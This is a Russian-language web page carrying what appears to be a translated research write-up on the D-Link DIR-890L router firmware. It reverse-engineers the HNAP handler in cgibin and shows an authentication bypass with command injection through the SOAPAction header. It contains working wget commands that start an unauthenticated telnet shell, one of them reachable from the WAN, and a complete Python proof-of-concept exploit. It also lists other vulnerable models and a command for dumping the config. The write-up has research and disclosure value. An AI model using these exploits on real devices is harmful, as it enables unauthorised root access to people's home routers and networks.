ТЕКСТЫ

New Bit workshop

Рекламные статьи, статьи обзоров, бюро копирайтинга "Марька"


НОВОСТИ

New Bit workshop

Новости науки и техники

Рейтинги,

обзоры

» » »
Как взломать D-Link DIR-890L ?
Insane router
Самый безумный роутер D-Link DIR-890L за $300

Пожалуй, самым «безумным» в роутере является то,
 что он работает под управлением все той же забагованной прошивки,
 которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.

Хорошо, давайте как обычно — возьмем последнюю версию прошивки,
пройдемся по ней binwalk и посмотрим, что мы получили:

DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------
116 0x74 LZMA compressed data, properties: 0x5D, dictionary
 size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size:
 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0,
compress

Похоже на обычную прошивку с Linux, а если вы заглядывали в любую
 прошивку D-Link за последние несколько лет, вы без труда вспомните
 структуру директорий:

$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp 
usr var www

Все, что относится к HTTP, UPnP и HNAP, расположено в директории
 htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник
для ARM, который выполняется вебсервером для, хм, почти всего: все
симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> 
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi ->
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi ->
/htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi ->
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi ->
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi ->
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi ->
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi ->
/htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi ->
/htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi ->
/htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi ->
/htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi ->
 /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi ->
/htdocs/cgibin

Он, конечно же, stripped, но в нем есть множество строк,
которые будут нам в помощь. В первую очередь, main
сравнивает argv[0] со списком известных ему имен симлинков
 (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое
действие выполнять:

staircase
Граф вызовов, типичный каскад if/else

Каждое сравнение производится вызовом
strcmp на известные имена симлинков:

image
Разные функции обработчиков разных симлинков

Чтобы упростить сопоставление функций-обработчиков
и симлинков, переименуем их, согласно имени симлинка:

image
Переименованные функции-обработчики

Теперь, когда у нас есть имена функций, давайте начнем
 искать баги. Другие устройства от D-Link, работающие
 под управлением точно такой же прошивки, ранее были
 взломаны через HTTP и UPnP-интерфейсы, однако,
HNAP-интерфейс, который обрабатывается функцией
hnap_main
в cgibin, похоже, никто особо не смотрел.

HNAP (Home Network Administration Protocol) — протокол
на основе SOAP, похожий на UPnP, который обычно используется
утилитой для первоначальной настройки D-Link роутеров «EZ».
 В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo
(который бесполезен), требуют HTTP Basic-аутентификацию.

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
 

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:
soap
="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body> </soap:Envelope>

Заголовок SOAPAction очень важен в HNAP-запросе, т.к. именно
 он задает,
 какое действие выполнит сервер (действие AddPortMapping
в примере выше).

Вследствие того, что cgibin запускается как CGI-приложение
веб-сервером, hnap_main получает данные HNAP-запроса,
 например, заголовок SOAPAction, через переменные окружения:

image
SOAPAction = getenv("HTTP_SOAPACTION”);

Ближе к концу hnap_main, вызовом sprintf генерируется

 строке http://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:

image
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строки http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.
Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:

image
SOAPAction = strrchr(SOAPAction, ‘/’);

Имя действия (GetDeviceSettings) вычленяется из заголовка,
 затем попадает в system, проходя sprintf.
Вот код на C, который демонстрирует ошибку в логике:


/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
 
/* Skip authentication if the SOAPAction header contains
 "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings")
 == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction
 header */ SOAPAction = strrchr(SOAPAction, '/');

  • В sprintfsystem) передается все, что находится после последнего слеша в заголовке SOAPAction

Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка `reboot` будет передана в system
system("sh /var/run/`reboot`.sh > /dev/console");

Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1
/GetDeviceSettings/`telnetd`"'
http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #

Мы можем отправлять HNAP-запросы из WAN, если было включено
удаленное администрирование. Конечно, брандмауер блокирует
все входящие соединения на telnet из WAN. Самое простое решение
— убить HTTP-сервер и запустить telnetd на его порту:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1
/GetDeviceSettings/`killall httpd; telnetd -p 8080`"'

 http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #

Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:
#!/usr/bin/env python
 
import sys
import urllib2
import httplib
 
try:
 ip_port = sys.argv[1].split(':')
 ip = ip_port[0]
 
 if len(ip_port) == 2:
 port = ip_port[1]
 elif len(ip_port) == 1:
 port = "80"
 else:
 raise IndexError
except IndexError:
 print "Usage: %s <target ip:port>" % sys.argv[0]
 sys.exit(1)
 
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
 "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/
`%s`"'
% command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d
 /var/config.xml; cat /var/config.xml'"
sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit
 probably failed. :("

Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент
 написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки
 других устройств.

Анализировать все прошивки довольно утомительно, поэтому
я передал инфромацию о баге команде Centrifuge, у которых есть
 отличие утилиты для автоматического анализа подобных вещей.
Centrifuge обнаружили эту уязвимость в следующих моделях:
  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

Насколько я знаю, HNAP на этих устройствах никаким образом
отключить нельзя.

UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly,
но он был исправлен только для DIR-645. Патч достаточно хреновый,
ждите его разбор в следующем посте.
Комментариев: 497 | : D-link, Embedded, reverse engineering, Роутеры
Войти через соцсети